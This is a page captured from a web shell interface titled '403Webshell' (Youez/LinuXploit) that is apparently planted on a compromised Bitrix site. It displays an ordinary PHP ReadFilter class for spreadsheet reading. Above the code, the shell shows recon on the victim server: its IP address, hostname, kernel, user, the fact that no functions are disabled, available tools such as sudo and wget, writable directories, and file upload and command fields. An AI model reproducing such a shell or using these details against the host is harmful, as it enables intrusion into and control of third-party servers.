403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/mcart.xls/lib/spreadsheet/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/mcart.xls/lib/spreadsheet/readfilter.php
<?php

namespace Mcart\Xls\Spreadsheet;

use Bitrix\Main\Localization\Loc;
use PhpOffice\PhpSpreadsheet\Reader\IReadFilter;

Loc::loadMessages(__FILE__);

final class ReadFilter implements IReadFilter{
    private $startRow   = 1;
    private $stopRow    = 10;
    private $endRow;
    private $headerRow;
    private $columns;
    private $lastRow;

    public function __construct($startRow = 0, $limit = 10, $headerRow = null, $endRow = null, $columns = null) {
        $this->startRow = intval($startRow);
        if($this->startRow <= 0){
            $this->startRow = 1;
        }
        $this->stopRow = $this->startRow+intval($limit)-1;
        if($endRow > 0 && $this->stopRow > $endRow){
            $this->stopRow = $endRow;
        }
        $this->headerRow = intval($headerRow);
        if(!is_array($columns)){
            $columns = null;
        }
        $this->endRow = $endRow;
        $this->columns = $columns;
    }

    public function readCell($column, $row, $worksheetName = '') {
        //  Only read the rows and columns that were configured
        if(($this->headerRow && $this->headerRow == $row) || ($row >= $this->startRow && $row <= $this->stopRow))  {
            if (!$this->columns || in_array($column,$this->columns)) {
                return true;
            }
        }
        $this->lastRow = $row;
        return false;
    }

    public function isContinue($row) {
        return ($row < $this->startRow && ((!$this->headerRow || $this->headerRow != $row)));
    }

    public function isComplete() {
        return (($this->endRow && $this->stopRow >= $this->endRow) || $this->stopRow >= $this->lastRow);
    }

    public function getProperties() {
        return get_object_vars($this);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit